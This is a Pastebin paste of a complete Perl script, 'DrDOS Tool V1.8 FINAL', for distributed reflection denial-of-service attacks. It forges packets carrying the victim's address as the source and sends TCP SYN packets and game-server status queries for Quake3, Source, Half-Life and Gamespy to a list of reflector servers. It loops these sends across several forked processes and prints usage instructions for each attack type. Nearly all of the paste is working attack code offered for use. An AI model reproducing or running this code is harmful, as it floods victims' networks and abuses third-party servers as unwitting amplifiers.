SHARE
TWEET

DrDoS

a guest Feb 24th, 2013 7,560 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl -w
  2.  
  3. use Benchmark;
  4. use Net::RawIP;
  5. use Time::HiRes qw ( usleep );
  6.  
  7. my $rand = int( rand 0x400 );
  8. my $frag = 0;
  9. my $doff = 0x05;
  10. my $ttl  = 0xFF;
  11. my $tos  = 0x08;
  12. my $pid;
  13. my $tx;
  14. my @list;
  15. my @running;
  16. my @pids;
  17.  
  18. my %attack =
  19.   ( "tcp" => \&tcp, "quake3" => \&quake3, "source" => \&source, "hl" => \&hl, "gs" => \&gs, "gs2" => \&gs2 );
  20.  
  21. if ( @ARGV < 7 || @ARGV > 7 ) {
  22.     &usage();
  23.     exit;
  24. }
  25.  
  26. $tx = $ARGV[3];
  27. my $t0 = new Benchmark;
  28.  
  29. print "\n*** Now Reading Hosts Into Array\n\n";
  30.  
  31. open( ELITE, $ARGV[2] ) || die "Unable to open $ARGV[2]!\n";
  32. chomp( @list = <ELITE> );
  33. close(ELITE);
  34.  
  35. sub tcp {
  36.     my ( $ip, $port ) = @_;
  37.     my $a = new Net::RawIP(
  38.         {
  39.             ip  => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl },
  40.             tcp => {
  41.                 dest   => $port,
  42.                 source => $ARGV[1],
  43.                 syn    => 1,
  44.                 ack    => 0,
  45.                 fin    => 0,
  46.                 rst    => 0,
  47.                 psh    => 0,
  48.                 urg    => 0,
  49.                 doff   => $doff
  50.             }
  51.         }
  52.     );
  53.     $a->send( 0, $tx );
  54. }
  55.  
  56. sub quake3 {
  57.     my ( $ip, $port ) = @_;
  58.     my $a = new Net::RawIP(
  59.         {
  60.             ip  => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
  61.             udp => {
  62.                 dest   => $port,
  63.                 source => $ARGV[1],
  64.                 data   => chr(255) . chr(255) . chr(255) . chr(255) . "getstatus" . chr(10),
  65.             }
  66.         }
  67.     );
  68.     $a->send( 0, $tx );
  69.    
  70.  
  71. }
  72.  
  73. sub source {
  74.     my ( $ip, $port ) = @_;
  75.     my $a = new Net::RawIP(
  76.         {
  77.             ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
  78.             udp => { dest => $port, source => $ARGV[1], data => chr(255) . chr(255) . chr(255) . chr(255) . chr(85), }
  79.         }
  80.     );
  81.     $a->send( 0, $tx );
  82.    
  83.  
  84. }
  85.  
  86. sub hl {
  87.     my ( $ip, $port ) = @_;
  88.     my $a = new Net::RawIP(
  89.         {
  90.             ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
  91.             udp => { dest => $port, source => $ARGV[1], data => chr(255) . chr(255) . chr(255) . chr(255) . "rules", }
  92.         }
  93.     );
  94.     $a->send( 0, $tx );
  95.    
  96. }
  97.  
  98. sub gs {
  99.     my ( $ip, $port ) = @_;
  100.     my $a = new Net::RawIP(
  101.         {
  102.             ip  => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
  103.             udp => {
  104.                 dest   => $port,
  105.                 source => $ARGV[1],
  106.                 data   => chr(92) . chr(115) . chr(116) . chr(97) . chr(116) . chr(117) . chr(115) . chr(92),
  107.             }
  108.         }
  109.     );
  110.     $a->send( 0, $tx );
  111.    
  112. }
  113.  
  114. sub gs2 {
  115.     my ( $ip, $port ) = @_;
  116.     my $a = new Net::RawIP(
  117.         {
  118.             ip  => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
  119.             udp => {
  120.                 dest   => $port,
  121.                 source => $ARGV[1],
  122.                 data   => chr(254)
  123.                   . chr(253)
  124.                   . chr(0)
  125.                   . chr(67)
  126.                   . chr(79)
  127.                   . chr(82)
  128.                   . chr(89)
  129.                   . chr(255)
  130.                   . chr(255)
  131.                   . chr(255),
  132.             }
  133.         }
  134.     );
  135.     $a->send( 0, $tx );
  136.    
  137. }
  138.  
  139. sub paxor {
  140.     my $type = $_[0];
  141.     unless ( $type eq "mixed" ) {
  142.         while (1) {
  143.                         foreach (@list) { $attack{$type}->( split( ':', $_ ) );}
  144.         }
  145.     }
  146.     else {
  147.         my @part;
  148.         while (1) {
  149.             foreach (@list) {
  150.                 @part = split( ":", $_ );
  151.                 $attack{ $part[2] }->( $part[0], $part[1]);
  152.             }
  153.         }
  154.     }
  155. }
  156.  
  157.  
  158. for($number = 0;$number < $ARGV[5];$number++)
  159. {
  160. $pid = fork();
  161. if ( $pid == 0 ) {
  162.     $SIG{INT} = \&controlsub;
  163.  
  164.     &paxor( $ARGV[4] );
  165.  
  166.     my $t1 = new Benchmark;
  167.     my $td = timediff( $t1, $t0 );
  168.     print "\nTotal Time: ", timestr($td), "\n";
  169.     sleep(5);
  170.     exit;
  171. }
  172. else {
  173.         push(@pids, $pid);
  174. }
  175. }
  176. sleep( $ARGV[6] );
  177. foreach(@pids)
  178. {
  179.         kill( "INT", $_ );
  180. }
  181.         exit;
  182.  
  183. sub controlme {
  184.     $SIG{INT} = \&controlme;
  185.     print "Signal Caught Now Exiting\n";
  186.     my $t1 = new Benchmark;
  187.     my $td = timediff( $t1, $t0 );
  188.     print "\nTotal Time: ", timestr($td), "\n";
  189.     sleep(5);
  190.     exit;
  191. }
  192.  
  193. sub controlsub {
  194.     $SIG{INT} = \&controlsub;
  195.     exit;
  196. }
  197.  
  198.  
  199. sub usage {
  200.     print << "HEREDOC";
  201. $0 <target> <target port> <reflector list> <weight> <attack type> <threads> <Time>
  202. DrDOS Tool V1.8 FINAL by ohnoes1479
  203.  
  204. Time: Limit running time of the script, Time is in seconds
  205. threads: number of threads to run
  206. attack types:
  207. tcp:     reflected tcp SYN attack
  208. quake3:  reflected udp attack using quake3 based servers
  209. source:  reflected udp attack using Valve Source based servers
  210. hl:      reflected udp attack using Half Life servers
  211. gs:      reflected udp attack using Gamespy based servers
  212. gs2:     reflected udp attack using Gamespy 2 based servers
  213. mixed:   specify type of server in list, EG:
  214. 8.8.8.8:80:tcp
  215. 64.120.46.100:28960:quake3
  216. Command: $0 127.0.0.1 8080 servers.txt 5 tcp
  217. HEREDOC
  218.  
  219. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top